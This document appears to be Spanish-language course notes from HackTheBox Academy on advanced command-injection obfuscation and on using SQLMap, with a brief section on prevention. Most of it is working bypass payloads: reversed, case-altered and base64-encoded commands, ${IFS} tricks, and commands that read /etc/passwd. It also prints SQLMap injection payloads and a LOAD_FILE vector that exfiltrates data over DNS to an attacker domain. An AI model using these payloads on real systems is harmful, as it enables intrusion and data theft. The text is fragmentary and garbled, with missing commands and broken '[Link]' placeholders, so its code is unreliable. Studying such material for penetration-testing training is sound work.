$(a="WhOaMi";printf %s "${a,,}")
Comandos invertidos
21y4d@htb[/htb]$ $(rev<<<'imaohw')
21y4d
Vemos que, aunque el comando no contiene la whoamipalabra exacta, funciona igual
y proporciona el resultado esperado. También podemos probar este comando con
nuestro ejercicio, y efectivamente funciona:
Consejo: si desea omitir un filtro de caracteres con el método anterior, también tendrá
que revertirlos o incluirlos al revertir el comando original.
Lo mismo se puede aplicar en Windows. Primero podemos invertir una cadena, de la
siguiente manera:
Imaohw
Ahora podemos usar el siguiente comando para ejecutar una cadena invertida con un
sub-shell de PowerShell ( iex "$()"), de la siguiente manera:
21y4d
Comandos codificados
La última técnica que analizaremos es útil para comandos que contienen caracteres
filtrados o caracteres que el servidor puede decodificar mediante URL. Esto puede
provocar que el comando se confunda al llegar al shell y, finalmente, no se ejecute. En
lugar de copiar un comando existente en línea, intentaremos crear nuestro propio
comando de ofuscación. De esta forma, es mucho menos probable que un filtro o un
WAF lo deniegue. El comando que creemos será único para cada caso, dependiendo
de los caracteres permitidos y del nivel de seguridad del servidor.
Podemos utilizar varias herramientas de codificación, como base64(para codificación
b64) o xxd(para codificación hexadecimal). Tomemos base64como ejemplo: primero,
codificaremos la carga útil que queremos ejecutar (que incluye caracteres filtrados):
Ofuscación de comandos avanzada
Consejo: Tenga en cuenta que estamos utilizando <<< para evitar el uso de una
tubería |, que es un carácter filtrado.
Ahora podemos usar este comando (una vez que reemplazamos los espacios) para
ejecutar el mismo comando a través de la inyección de comando:
Solicitud POST de Burp
Incluso si se filtraran algunos comandos, como bash o base64, podríamos evitar ese
filtro con las técnicas que discutimos en la sección anterior (por ejemplo, inserción de
caracteres), o usar otras alternativas como sh para la ejecución de comandos
y openssl para la decodificación b64, o xxd para la decodificación hexadecimal.
También usamos la misma técnica con Windows. Primero, necesitamos codificar
nuestra cadena en base64, como se indica a continuación:
dwBoAG8AYQBtAGkA
====================================================================
También podemos lograr lo mismo en Linux, pero tendríamos que convertir la cadena
de utf-8 a utf-16 antes de hacerlo base64, de la siguiente manera:
dwBoAG8AYQBtAGkA
====================================================================
Finalmente, podemos decodificar la cadena b64 y ejecutarla con un sub-shell de
PowerShell (iex "$()"), de la siguiente manera:
Ofuscación de comandos avanzada
====================================================================
PS C:\htb> iex
"$([[Link]]::[Link]([[Link]]::FromBase64String('
dwBoAG8AYQBtAGkA')))"
21y4d
====================================================================
Como podemos ver, podemos ser creativos con Bash[or] PowerShelly crear nuevos
métodos de omisión y ofuscación que no se han utilizado antes y, por lo tanto, es muy
probable que omitan filtros y WAF. Varias herramientas pueden ayudarnos a ofuscar
automáticamente nuestros comandos, lo cual analizaremos en la siguiente sección.
Además de las técnicas que comentamos, podemos utilizar muchos otros métodos,
como comodines, expresiones regulares, redirección de salida, expansión de enteros
y muchos más. Encontraremos algunas de estas técnicas en PayloadsAllTheThings .
Comandos:
%09 = Tabulación.
WhOaMi
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(tr%09"[A-Z]"%09"[a-z]"<<<"WhOaMi")
%0a$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
%0a$(tr%09"[A-Z]" %09"[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
%0a$(a="WhOaMi";printf %s "${a,,}")
echo 'whoami' | rev
$(rev<<<'imaohw')
%0a$(rev<<<'imaohw')
"whoami"[-1..-20] -join ''
%0a"whoami"[-1..-20] -join ''
iex "$('imaohw'[-1..-20] -join '')"
%0a iex "$('imaohw'[-1..-20] -join '')"
Tenga en cuenta que estamos utilizando <<< para evitar el uso de una tubería |, que es
un carácter filtrado.
Windows
[Convert]::ToBase64String([[Link]]::[Link]('whoami'))
Se puede hacer también desde linux pero se requiere pasar de utf-8 a utf-16
echo -n whoami | iconv -f utf-8 -t utf-16le | base64
iex
"$([[Link]]::[Link]([[Link]]::FromBase64String('
dwBoAG8AYQBtAGkA')))"
Solución:
Codificación base64:
(echo -n: Imprime el comando sin un salto de línea al final)
| base64: Codifica la cadena en Base64
echo -n 'find /usr/share/ | grep root | grep mysql | tail -n 1' | base64
ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=
bash<<<$(base64 -
d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWls
IC1uIDE=)
====================================================================
Desglose paso a paso:
1. base64 -
d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfC
B0YWlsIC1uIDE=:
o base64 -d: Decodifica la cadena Base64.
o <<<: Pasa la cadena Base64 como entrada al comando base64 -d,
evitando el uso de tuberías.
o Resultado: La cadena se decodifica a find /usr/share/ | grep root | grep
mysql | tail -n 1.
2. $(...): El resultado de la decodificación se ejecuta como un comando en un sub-
shell.
3. bash<<<...: Pasa el comando decodificado a Bash para su ejecución, usando
<<< para evitar tuberías.
====================================================================
[Link]%0abash<<<$(base64${IFS}-
d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWls
IC1uIDE=)
Linux (Bashfuscator)
Una herramienta útil para ofuscar comandos bash es Bashfuscator . Podemos clonar
el repositorio desde GitHub y luego instalar sus requisitos, como se indica a
continuación:
Herramientas de evasión
AGB@htb[/htb]$ cd ./bashfuscator/bin/
A GB@htb[/htb]$ ./bashfuscator -h
optional arguments:
-h, --help show this help message and exit
Program Options:
-l, --list List all the available obfuscators, compressors, and encoders
-c COMMAND, --command COMMAND
Command to obfuscate
...SNIP...
Podemos comenzar simplemente proporcionando el comando que queremos ofuscar
con la -c bandera:
Ahora podemos probar el comando generado con bash -c '', para ver si ejecuta el
comando deseado:
root:x:0:0:root:/root:/bin/bash
...SNIP...
Windows (DOSfuscación)
También existe una herramienta muy similar para Windows llamada DOSfuscation . A
diferencia de Bashfuscator, esta es interactiva, ya que la ejecutamos una vez e
interactuamos con ella para obtener el comando ofuscado deseado. Podemos clonar
la herramienta desde GitHub e invocarla mediante PowerShell, como se indica a
continuación:
...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-
stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-
3%esktop\flag.%TMP:~-13,-12%xt
test_flag
Para obtener más información sobre los métodos de ofuscación avanzados, puede
consultar el módulo Codificación segura 101: JavaScript , que cubre los métodos de
ofuscación avanzados que se pueden utilizar en varios ataques, incluidos los que
cubrimos en este módulo.
Prevención de inyección de comandos
Ahora deberíamos tener una comprensión sólida de cómo ocurren las vulnerabilidades
de inyección de comandos y cómo se pueden eludir ciertas mitigaciones, como los
filtros de caracteres y comandos. Esta sección analizará los métodos que podemos
usar para prevenir las vulnerabilidades de inyección de comandos en nuestras
aplicaciones web y configurar correctamente el servidor web para evitarlas.
Siempre debemos evitar el uso de funciones que ejecuten comandos del sistema,
especialmente si utilizamos la entrada del usuario. Incluso sin introducir directamente
la entrada del usuario en estas funciones, este podría influir indirectamente en ellas,
lo que podría provocar una vulnerabilidad de inyección de comandos.
En lugar de usar funciones de ejecución de comandos del sistema, deberíamos usar
funciones integradas que realicen la funcionalidad necesaria, ya que los lenguajes de
backend suelen tener implementaciones seguras de este tipo de funcionalidades. Por
ejemplo, supongamos que queremos comprobar si un host específico está activo con
[nombre del host PHP]. En ese caso, podríamos usar la fsockopenfunción en su lugar,
que no debería ser explotable para ejecutar comandos arbitrarios del sistema.
Si necesitamos ejecutar un comando del sistema y no encontramos ninguna función
integrada que realice la misma función, nunca debemos usar directamente la entrada
del usuario con estas funciones, sino que siempre debemos validar y depurar la
entrada del usuario en el backend. Además, debemos intentar limitar el uso de este
tipo de funciones al máximo y usarlas solo cuando no exista una alternativa integrada
a la funcionalidad que necesitamos.
Validación de entrada
if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-
5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(ip)){
// call function
}
else{
// deny request
}
Al igual que PHPcon NodeJS, también podemos usar bibliotecas para validar varios
formatos estándar, como is-ip , por ejemplo, que podemos instalar con npm, y luego
usar la isIp(ip)función en nuestro código. Puedes consultar los manuales de otros
lenguajes, como .NET o Java , para saber cómo validar la entrada del usuario en cada
lenguaje.
Sanitización de entrada
En ciertos casos, podríamos querer permitir todos los caracteres especiales (por
ejemplo, comentarios de usuario). En ese caso, podemos usar la
misma filter_varfunción que usamos para la validación de entrada y usar
el escapeshellcmdfiltro para escapar cualquier carácter especial, de modo que no
cause inyecciones. Para [nombre del usuario] NodeJS, simplemente podemos usar
la escape(ip)función [nombre del usuario] However, as we have seen in this module,
escaping special characters is usually not considered a secure practice, as it can often
be bypassed through various techniques.
Para obtener más información sobre la validación y la desinfección de la entrada del
usuario para evitar inyecciones de comandos, puede consultar el módulo Secure
Coding 101: JavaScript , que cubre cómo auditar el código fuente de una aplicación
web para identificar vulnerabilidades de inyección de comandos y luego trabaja para
parchar adecuadamente este tipo de vulnerabilidades.
Comando:
$(c'a't${IFS}${PATH:0:1}[Link])
Todos los Comandos de Inyección:
Operadores de inyección
Linux
Omisión de caracteres filtrados
Código Descripción
printenv Se puede utilizar para ver todas las variables de entorno.
Espacios
%09 Usar tabulaciones en lugar de espacios
${IFS} Se reemplazará con un espacio y una tabulación. No se puede usar en subcapas (p. ej., $()).
{ls,-la} Las comas serán reemplazadas por espacios.
Otros personajes
${PATH:0:1} Será reemplazado por/
${LS_COLORS:10:1} Será reemplazado por;
$(tr '!-}' '"-~'<<<[) Desplazar el carácter de uno en uno ( [-> \)
Comando de omisión en la lista negra
Código Descripción
Inserción de caracteres
'o" El total debe ser par
$@o\ Sólo Linux
Manipulación de casos
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") Ejecutar comando independientemente de
mayúsculas y minúsculas
$(a="WhOaMi";printf %s "${a,,}") Otra variación de la técnica
Comandos invertidos
echo 'whoami' | rev Invertir una cadena
$(rev<<<'imaohw') Ejecutar comando invertido
Comandos codificados
echo -n 'cat /etc/passwd | grep 33' | base64 Codificar una cadena con base64
bash<<<$(base64 - Ejecutar cadena codificada b64
d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
Windows
Omisión de caracteres filtrados
Código Descripción
Get-ChildItem Env: Se puede utilizar para ver todas las variables de entorno - (PowerShell)
Espacios
%09 Usar tabulaciones en lugar de espacios
%PROGRAMFILES:~10,-5% Será reemplazado por un espacio - (CMD)
$env:PROGRAMFILES[10] Se reemplazará con un espacio - (PowerShell)
Otros personajes
%HOMEPATH:~0,-17% Será reemplazado por \- (CMD)
$env:HOMEPATH[0] Será reemplazado por \- (PowerShell)
Comando de omisión en la lista negra
Código Descripción
Inserción de caracteres
'o" El total debe ser par
Manipulación de casos
WhoAmi Simplemente envíe el personaje con mayúsculas y
minúsculas
Comandos invertidos
"whoami"[-1..-20] -join '' Invertir una cadena
Comandos codificados
[Convert]::ToBase64String([[Link]. Codificar una cadena con base64
Encoding]::[Link]('whoami'))
iex
"$([[Link]]::[Link]
String([[Link]]::FromBase64Str
ing('dwBoAG8AYQBtAGkA')))"
___
__H__
___ ___[']_____ ___ ___ {[Link]#dev}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| [Link]
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent
is illegal. It is the end user's responsibility to obey all applicable local, state and federal
laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program
SQLMap viene con un potente motor de detección, numerosas funciones y una amplia
gama de opciones e interruptores para ajustar muchos aspectos del mismo, como:
Instalación de SQLMap
AND 1=1
AND GTID_SUBSET(@@version,0)
Se considera que SQLi basado en errores es más rápido que todos los demás tipos,
excepto el basado en consultas UNION, porque puede recuperar una cantidad limitada
(por ejemplo, 200 bytes) de datos denominados "fragmentos" a través de cada
solicitud.
Consultas apiladas
AND 1=IF(2>1,SLEEP(5),0)
Consultas en línea
Este tipo de inyección incrusta una consulta dentro de la consulta original. Este tipo de
inyección SQL es poco común, ya que requiere que la aplicación web vulnerable esté
escrita de cierta manera. Aun así, SQLMap también admite este tipo de SQLi.
Inyección SQL fuera de banda
LOAD_FILE(CONCAT('\\\\',@@version,'.[Link]\\[Link]'))
Este se considera uno de los tipos más avanzados de SQLi, y se utiliza cuando la
aplicación web vulnerable no admite los demás tipos o estos son demasiado lentos (p.
ej., SQLi ciego basado en tiempo). SQLMap admite SQLi fuera de banda mediante
exfiltración de DNS, donde las consultas solicitadas se recuperan mediante el tráfico
DNS.
Al ejecutar SQLMap en el servidor DNS del dominio bajo control (p. ej ., [nombre del
dominio .[Link]]), SQLMap puede ejecutar el ataque forzando al servidor a
solicitar subdominios inexistentes (p. ej., [nombre del dominio] [Link]),
donde foo se encontraría la respuesta SQL que queremos recibir. SQLMap puede
entonces recopilar estas solicitudes DNS erróneas y recopilar foo parte de ellas para
formar la respuesta SQL completa.
Introducción a SQLMap
Al comenzar a usar SQLMap, la primera opción para los nuevos usuarios suele ser el
mensaje de ayuda del programa. Para ayudar a los nuevos usuarios, existen dos niveles
de lista de mensajes de ayuda:
• Basic Listing muestra solo las opciones y los interruptores básicos, suficientes
en la mayoría de los casos (interruptor -h):
Introducción a SQLMap
AGB@htb[/htb]$ sqlmap -h
___
__H__
___ ___[']_____ ___ ___ {1.4.9#stable}
|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| [Link]
Target:
At least one of these options has to be provided to define the
target(s)
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
Request:
These options can be used to specify how to connect to the target URL
Para más detalles, se recomienda a los usuarios consultar la wiki del proyecto, ya que
representa el manual oficial para el uso de SQLMap.
Escenario básico
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)
Payload: id=1 AND (SELECT 7744 FROM(SELECT
COUNT(*),CONCAT(0x7170706a71,(SELECT
(ELT(7744=7744,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Nota: en este caso, la opción '-u' se utiliza para proporcionar la URL de destino,
mientras que el modificador '--batch' se utiliza para omitir cualquier entrada de usuario
requerida, eligiendo automáticamente el uso de la opción predeterminada.
Descripción de salida de SQLMap
Log Message:
Esto significa que no hay cambios significativos entre las respuestas en caso de
solicitudes idénticas continuas. Esto es importante desde el punto de vista de la
automatización, ya que, en caso de respuestas estables, es más fácil detectar las
diferencias causadas por los posibles intentos de SQLi. Si bien la estabilidad es
importante, SQLMap cuenta con mecanismos avanzados para eliminar
automáticamente el posible ruido que podría provenir de destinos potencialmente
inestables.
Log Message:
Log Message:
• Una prueba heurística básica muestra que el parámetro GET 'id' podría ser
inyectable (posible DBMS: 'MySQL').
• "heuristic (basic) test shows that GET parameter 'id' might be injectable
(possible DBMS: 'MySQL')"
Como se mencionó anteriormente, los errores del DBMS son un buen indicador de la
posible presencia de SQLi. En este caso, se produjo un error de MySQL cuando
SQLMap envió un valor intencionalmente no válido (p. ej., ?id=1",)..).))'), lo que indica
que el parámetro probado podría ser inyectable mediante SQLi y que el objetivo podría
ser MySQL. Cabe destacar que esto no constituye una prueba de SQLi, sino
simplemente una indicación de que el mecanismo de detección debe probarse en la
ejecución posterior.
Log Message:
• Una prueba heurística (XSS) muestra que el parámetro GET 'id' podría ser
vulnerable a ataques de secuencias de comandos entre sitios (XSS).
• "heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-
site scripting (XSS) attacks"
Log Message:
• Parece que el SGBD de backend es 'MySQL'. ¿Desea omitir las cargas de prueba
específicas de otros SGBD? [S/n]
• "it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads
specific for other DBMSes? [Y/n]"
En una ejecución normal, SQLMap prueba todos los DBMS compatibles. Si hay una
indicación clara de que el objetivo utiliza el DBMS específico, podemos restringir las
cargas útiles a ese DBMS específico.
Valores de nivel/riesgo
Log Message:
• Para las pruebas restantes, ¿desea incluir todas las pruebas de 'MySQL' que
amplían los valores de nivel (1) y riesgo (1) proporcionados? [S/n]
• "for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]"
Si hay una indicación clara de que el objetivo utiliza el DBMS específico, también es
posible extender las pruebas para ese mismo DBMS más allá de las pruebas regulares.
Esto básicamente implica ejecutar todas las cargas útiles de inyección SQL para ese
DBMS específico, mientras que si no se detecta ningún DBMS, solo se probarán las
cargas útiles principales.
Log Message:
Log Message:
• "El parámetro GET 'id' parece ser 'AND ciego basado en booleanos - cláusula
WHERE o HAVING' inyectable (con --string="luther")"
• "GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or
HAVING clause' injectable (with --string="luther")"
Este mensaje indica que el parámetro parece ser inyectable, aunque aún existe la
posibilidad de que sea un falso positivo. En el caso de tipos de SQLi ciegos basados en
booleanos y similares (p. ej., ciegos basados en tiempo), donde existe una alta
probabilidad de falsos positivos, al final de la ejecución, SQLMap realiza pruebas
exhaustivas que consisten en comprobaciones lógicas sencillas para eliminar los
falsos positivos.
Además, with --string="luther" indica que SQLMap reconoció y utilizó la apariencia de
un valor de cadena constante Luther en la respuesta para distinguirla TRUE de FALSE
las respuestas. Este hallazgo es importante, ya que en estos casos no es necesario
utilizar mecanismos internos avanzados, como la eliminación de dinamismo/reflexión
o la comparación difusa de respuestas, que no pueden considerarse falsos positivos.
Log Message:
Log Message:
Log Message:
• La técnica "ORDER BY" parece ser útil. Esto debería reducir el tiempo necesario
para encontrar el número correcto de columnas de consulta. Se está ampliando
automáticamente el rango para la prueba actual de la técnica de inyección de
consultas UNION.
• "ORDER BY' technique appears to be usable. This should reduce the time
needed to find the right number of query columns. Automatically extending the
range for current UNION query injection technique test"
Log Message:
• El parámetro GET 'id' es vulnerable. ¿Desea seguir probando los demás (si los
hay)? [sí/no]
• "GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)?
[y/N]"
Este es uno de los mensajes más importantes de SQLMap, ya que indica que el
parámetro es vulnerable a inyecciones SQL. Normalmente, el usuario solo busca al
menos un punto de inyección (es decir, un parámetro) utilizable contra el objetivo. Sin
embargo, si realizamos una prueba exhaustiva en la aplicación web y queremos
reportar todas las posibles vulnerabilidades, podemos continuar buscando todos los
parámetros vulnerables.
Log Message:
A continuación, se presenta una lista de todos los puntos de inyección con su tipo,
título y cargas útiles, lo que representa la prueba definitiva de la detección y
explotación exitosa de las vulnerabilidades de SQLi encontradas. Cabe destacar que
SQLMap solo enumera los hallazgos que son demostrablemente explotables (es decir,
utilizables).
Log Message:
Esto indica la ubicación del sistema de archivos local que se utiliza para almacenar
todos los registros, sesiones y datos de salida de un objetivo específico; en este
caso, [Link]. Tras una ejecución inicial, donde se detecta correctamente
el punto de inyección, todos los detalles de las ejecuciones futuras se almacenan en
los archivos de sesión del mismo directorio. Esto significa que SQLMap intenta reducir
al máximo las solicitudes de destino requeridas, en función de los datos de los
archivos de sesión.
Comandos de curl
Una de las mejores y más sencillas formas de configurar correctamente una solicitud
SQLMap contra un objetivo específico (es decir, una solicitud web con parámetros
dentro) es utilizar Copy as cURL la función dentro del panel Red (Monitor) dentro de las
herramientas para desarrolladores de Chrome, Edge o Firefox:
Ejemplo: Caso 2
Solicitudes GET/POST
En el caso más común, GET los parámetros se proporcionan mediante la opción -u/ --
url, como en el ejemplo anterior. Para POST los datos de prueba, se puede usar la
bandera --data, como se indica a continuación:
En tales casos, se analizarán POST los parámetros uid y para detectar vulnerabilidades
de SQLi. Por ejemplo, si tenemos una indicación clara de que el parámetro es
susceptible a una vulnerabilidad de SQLi, podríamos limitar las pruebas a este
parámetro usando . De lo contrario, podríamos marcarlo dentro de los datos
proporcionados con un marcador especial, como se indica a continuación:
nameuid-p uid*
Consejo: de manera similar al caso con la opción '--data', dentro del archivo de
solicitud guardado, podemos especificar el parámetro que queremos inyectar con un
asterisco (*), como por ejemplo '/?id=*'.
Por ejemplo, si existe un requisito para especificar el valor de la cookie (de sesión),
la PHPSESSID=ab4530f4a7d10448457fa8b0eadac29copción --cookie se utilizaría de
la siguiente manera:
Además del POSTestilo de cuerpo de datos de formulario más común (por ejemplo, ),
SQLMap también admite solicitudes HTTP id=1con formato JSON (por
ejemplo, {"id":1}) y XML (por ejemplo, ).<element><id>1</id></element>
La compatibilidad con estos formatos se implementa de forma flexible; por lo tanto, no
existen restricciones estrictas sobre cómo se almacenan los valores de los
parámetros. Si el POSTcuerpo es relativamente simple y corto, la opción --dataserá
suficiente.
Sin embargo, en el caso de un cuerpo POST complejo o largo, podemos volver a utilizar
la -ropción:
{
"data": [{
"type": "articles",
"id": "1",
"attributes": {
"title": "Example JSON",
"body": "Just an example",
"created": "2020-05-22T14:56:29.000Z",
"updated": "2020-05-22T14:56:28.000Z"
},
"relationships": {
"author": {
"data": {"id": "42", "type": "user"}
}
}
}]
}
Caso 2
Caso 3:
Caso 4:
Capturamos la petición.
Caso 8:
Caso 10:
Errores de visualización
El primer paso suele ser cambiar el --parse-errors, para analizar los errores del DBMS
(si los hay) y mostrarlos como parte de la ejecución del programa:
...SNIP...
[16:09:20] [INFO] testing if GET parameter 'id' is dynamic
[16:09:20] [INFO] GET parameter 'id' appears to be dynamic
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or
access violation: 1064 You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near '))"',),)((' at line
1'"
[16:09:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or
access violation: 1064 You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
''YzDZJELylInm' at line 1'
...SNIP...
Con esta opción, SQLMap imprimirá automáticamente el error del DBMS, dándonos
así claridad de cuál puede ser el problema para que podamos solucionarlo
adecuadamente.
Almacenar el tráfico
<!DOCTYPE html>
<html lang="en">
...SNIP...
Como podemos ver en el resultado anterior, el /tmp/[Link] ahora contiene
todas las solicitudes HTTP enviadas y recibidas. Por lo tanto, podemos investigarlas
manualmente para determinar dónde se produce el problema.
Salida verbosa
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-
fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link href="vendor/bootstrap/css/[Link]" rel="stylesheet">
<title>SQLMap Essentials - Case1</title>
</head>
<body>
...SNIP...
Usando Proxy
En la mayoría de los casos, SQLMap debería ejecutarse de fábrica con los detalles del
objetivo proporcionados. Sin embargo, existen opciones para ajustar los intentos de
inyección de SQLi y ayudar a SQLMap en la fase de detección. Cada carga útil enviada
al objetivo consta de:
• vector (por ejemplo, UNION ALL SELECT 1,2,VERSION()): parte central de la
carga útil, que lleva el código SQL útil que se ejecutará en el destino.
• límites (por ejemplo '<vector>-- -): formaciones de prefijo y sufijo, utilizadas
para la inyección adecuada del vector en la declaración SQL vulnerable.
Prefijo/Sufijo
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "'))
LIMIT 0,1";
$result = mysqli_query($link, $query);
El vector UNION ALL SELECT 1,2,VERSION(), delimitado por el prefijo %'))y el sufijo -- -
, dará como resultado la siguiente declaración SQL (válida) en el destino:
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT
1,2,VERSION()-- -')) LIMIT 0,1
Nivel/Riesgo
La mejor manera de comprobar las diferencias entre los límites y las cargas útiles
usados para diferentes valores de --levely --riskes usar la -vopción para establecer el
nivel de verbosidad. Con un nivel de verbosidad 3 o superior (por ejemplo, -v 3), los
mensajes que contienen los valores usados [PAYLOAD]se mostrarán de la siguiente
manera:
...SNIP...
[14:17:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:17:07] [PAYLOAD] 1) AND 5907=7031-- AuiO
[14:17:07] [PAYLOAD] 1) AND 7891=5700 AND (3236=3236
...SNIP...
[14:17:07] [PAYLOAD] 1')) AND 1049=6686 AND (('OoWT' LIKE 'OoWT
[14:17:07] [PAYLOAD] 1'))) AND 4534=9645 AND ((('DdNs' LIKE 'DdNs
[14:17:07] [PAYLOAD] 1%' AND 7681=3258 AND 'hPZg%'='hPZg
...SNIP...
[14:17:07] [PAYLOAD] 1")) AND 4540=7088 AND (("hUye"="hUye
[14:17:07] [PAYLOAD] 1"))) AND 6823=7134 AND ((("aWZj"="aWZj
[14:17:07] [PAYLOAD] 1" AND 7613=7254 AND "NMxB"="NMxB
...SNIP...
[14:17:07] [PAYLOAD] 1"="1" AND 3219=7390 AND "1"="1
[14:17:07] [PAYLOAD] 1' IN BOOLEAN MODE) AND 1847=8795#
[14:17:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(subquery - comment)'
Por otro lado, las cargas útiles utilizadas con el --levelvalor predeterminado tienen un
conjunto de límites considerablemente más pequeño:
...SNIP...
[14:20:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:20:36] [PAYLOAD] 1) AND 2678=8644 AND (3836=3836
[14:20:36] [PAYLOAD] 1 AND 7496=4313
[14:20:36] [PAYLOAD] 1 AND 7036=6691-- DmQN
[14:20:36] [PAYLOAD] 1') AND 9393=3783 AND ('SgYz'='SgYz
[14:20:36] [PAYLOAD] 1' AND 6214=3411 AND 'BhwY'='BhwY
[14:20:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
(subquery - comment)'
En cuanto a los vectores, podemos comparar las cargas útiles utilizadas de la siguiente
manera:
...SNIP...
[14:42:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:42:38] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[14:42:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (FLOOR)'
...SNIP...
...SNIP...
[14:46:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:46:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[14:46:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
...SNIP...
[14:46:05] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING
clause (CAST)'
[14:46:05] [INFO] testing 'PostgreSQL OR boolean-based blind - WHERE or HAVING
clause (CAST)'
[14:46:05] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause
([Link])'
...SNIP...
[14:46:05] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY
clause'
[14:46:05] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY
clause (original value)'
[14:46:05] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY clause (original
value)'
...SNIP...
[14:46:05] [INFO] testing 'SAP MaxDB boolean-based blind - Stacked queries'
[14:46:06] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (BIGINT UNSIGNED)'
[14:46:06] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause
(EXP)'
...SNIP...
Códigos de estado
Por ejemplo, al gestionar una respuesta de destino enorme con mucho contenido
dinámico, se podrían usar diferencias sutiles entre las respuestas TRUEy para fines de
detección. Si la diferencia entre las respuestas y se observa en los códigos HTTP (p.
ej., para y para ), la opción podría usarse para fijar la detección de respuestas a un
código HTTP específico (p. ej. , ).FALSETRUEFALSE200TRUE500FALSE--codeTRUE--
code=200
Títulos
Si la diferencia entre las respuestas se puede ver al inspeccionar los títulos de las
páginas HTTP, --titlesse podría usar el interruptor para indicarle al mecanismo de
detección que base la comparación en el contenido de la etiqueta HTML <title>.
Instrumentos de cuerda
Sólo texto
En algunos casos, UNION las cargas útiles de SQLi requieren información adicional
proporcionada por el usuario para funcionar. Si podemos encontrar manualmente el
número exacto de columnas de la consulta SQL vulnerable, podemos proporcionar
este número a SQLMap con la opción --union-cols(p. ej., --union-cols=17). Si los
valores de relleno predeterminados utilizados por SQLMap (NULL y un entero aleatorio)
no son compatibles con los valores de los resultados de la consulta SQL vulnerable,
podemos especificar un valor alternativo (p. ej., --union-char='a').
Además, si se requiere usar un apéndice al final de una UNION consulta FROM
<table>(p. ej., en el caso de Oracle), podemos configurarlo con la opción --union-
from(p. ej. --union-from=users).
El hecho de que no se use el FROM apéndice correcto automáticamente podría
deberse a la imposibilidad de detectar el nombre del SGBD antes de su uso.
Enumeración de bases de datos
Para ello, SQLMap cuenta con un conjunto predefinido de consultas para todos los
sistemas de gestión de bases de datos (SGBD) compatibles, donde cada entrada
representa el SQL que debe ejecutarse en el destino para recuperar el contenido
deseado. Por ejemplo, a continuación, se muestran extractos del archivo [Link]
para un SGBD MySQL:
<root>
<dbms value="MySQL">
<!-- [Link]
[Link] -->
<cast query="CAST(%s AS NCHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
...SNIP...
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
<hostname query="@@HOSTNAME"/>
<table_comment query="SELECT table_comment FROM
INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND
table_name='%s'"/>
